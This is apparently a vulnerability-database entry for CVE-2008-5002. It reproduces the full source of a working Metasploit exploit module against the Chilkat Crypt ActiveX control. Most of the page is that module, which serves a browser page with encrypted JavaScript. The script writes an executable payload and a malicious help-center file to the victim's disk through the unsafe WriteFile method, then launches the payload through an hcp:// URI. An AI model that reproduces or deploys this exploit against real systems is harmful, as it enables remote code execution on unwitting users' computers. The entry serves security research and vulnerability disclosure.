Chilkat Crypt ActiveX WriteFile Unsafe Method

🗓️ 03 Mar 2010 21:17:31Reported by shinnai, jduck <[email protected]>Type

Chilkat Crypt ActiveX WriteFile Unsafe Method allows code execution via 'WriteFile' method. Requires user to browse with Administrator. Vulnerability unpatched

Reporter	Title	Published	Views	Family All 11
Circl	CVE-2008-5002	3 Nov 200800:00	–	circl
CVE	CVE-2008-5002	10 Nov 200811:00	–	cve
Cvelist	CVE-2008-5002	10 Nov 200811:00	–	cvelist
Exploit DB	Chilkat Crypt - ActiveX WriteFile Unsafe Method (Metasploit)	20 Sep 201000:00	–	exploitdb
Exploit DB	Chilkat Crypt - ActiveX Arbitrary File Creation/Execution	3 Nov 200800:00	–	exploitdb
NVD	CVE-2008-5002	10 Nov 200814:12	–	nvd
OpenVAS	Chilkat Crypt ActiveX Control 'ChilkatCrypt2.dll' File Overwrite Vulnerability	11 Nov 200800:00	–	openvas
OpenVAS	Detection of Dangerous ActiveX Control	4 Feb 200900:00	–	openvas
OpenVAS	Detection of Dangerous ActiveX Control	4 Feb 200900:00	–	openvas
Packet Storm	Chilkat Crypt ActiveX WriteFile Unsafe Method	5 Mar 201000:00	–	packetstorm

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Chilkat Crypt ActiveX WriteFile Unsafe Method',
      'Description'    => %q{
          This module allows attackers to execute code via the 'WriteFile' unsafe method of
        Chilkat Software Inc's Crypt ActiveX control.

        This exploit is based on shinnai's exploit that uses an hcp:// protocol URI to
        execute our payload immediately. However, this method requires that the victim user
        be browsing with Administrator. Additionally, this method will not work on newer
        versions of Windows.

        NOTE: This vulnerability is still unpatched. The latest version of Chilkat Crypt at
        the time of this writing includes ChilkatCrypt2.DLL version 4.4.4.0.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'shinnai', 'jduck' ],
      'References'     =>
        [
          [ 'CVE', '2008-5002' ],
          [ 'OSVDB', '49510' ],
          [ 'BID', '32073' ],
          [ 'EDB', '6963' ]
        ],
      'Payload'        =>
        {
          'Space'    => 2048
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2008-11-03'
      ))

    @javascript_encode_key = rand_text_alpha(rand(10) + 10)
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)

    if (!request.uri.match(/\?\w+/))
      send_local_redirect(cli, "?#{@javascript_encode_key}")
      return
    end

    # Set parameters
    fnname = rand_text_alpha(8+rand(8))
    si_name = "msinfo" # must be this, other names don't seem to work
    exe_name = rand_text_alpha(8+rand(8))
    hcp_path = "C:\\WINDOWS\\PCHEALTH\\HELPCTR\\System\\sysinfo\\#{si_name}.htm"
    hcp_url = "hcp:\\x2f\\x2fsystem/sysinfo/#{si_name}.htm"
    exe_path = "C:\\#{exe_name}.exe"

    # Generate HCP data
    hcp_data = %Q|<object classid='clsid:0355854A-7F23-47E2-B7C3-97EE8DD42CD8' id='compatUI'></object>
<script language='vbscript'>
compatUI.RunApplication 1, "#{exe_path}", 1
</script>
|

    # (Re-)Generate the EXE payload
    return if ((p = regenerate_payload(cli)) == nil)
    exe_data = generate_payload_exe({ :code => p.encoded })

    # Encode variables
    hcp_str = Rex::Text.to_unescape(hcp_data)
    hcp_path.gsub!(/\\/, '\\\\\\\\')
    exe_str = Rex::Text.to_unescape(exe_data)
    exe_path.gsub!(/\\/, '\\\\\\\\')

    # Build the final JS
    js = %Q|
function #{fnname}()
{
var my_unescape = unescape;
var obj = new ActiveXObject("ChilkatCrypt2.ChilkatCrypt2");
var exe_path = "#{exe_path}";
var exe_str = "#{exe_str}";
var exe_data = my_unescape(exe_str);
obj.WriteFile(exe_path, exe_data);
var hcp_str = "#{hcp_str}";
var hcp_data = my_unescape(hcp_str);
var hcp_path = "#{hcp_path}";
obj.WriteFile(hcp_path, hcp_data);
window.location = "#{hcp_url}";
}
|

=begin
    # Obfuscate the javascript
    opts = {
      'Strings' => false, # didn't work in this case
      'Symbols' => {
        'Variables' => %w{ my_unescape obj exe_path exe_str exe_data hcp_str hcp_data hcp_path }
      }
    }
    js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
    js.obfuscate(memory_sensitive: true)
=end
    js = encrypt_js(js, @javascript_encode_key)

    # Build the final HTML
    content = %Q|<html>
<head>
<script language=javascript>
#{js}
</script>
</head>
<body onload="#{fnname}()">
Please wait...
</body>
</html>
|

    print_status("Sending #{self.name}")

    send_response_html(cli, content)

    handler(cli)

  end
end

02 Oct 2020 20:00Current

7.4High risk

Vulners AI Score7.4

CVSS 29.3

EPSS0.40655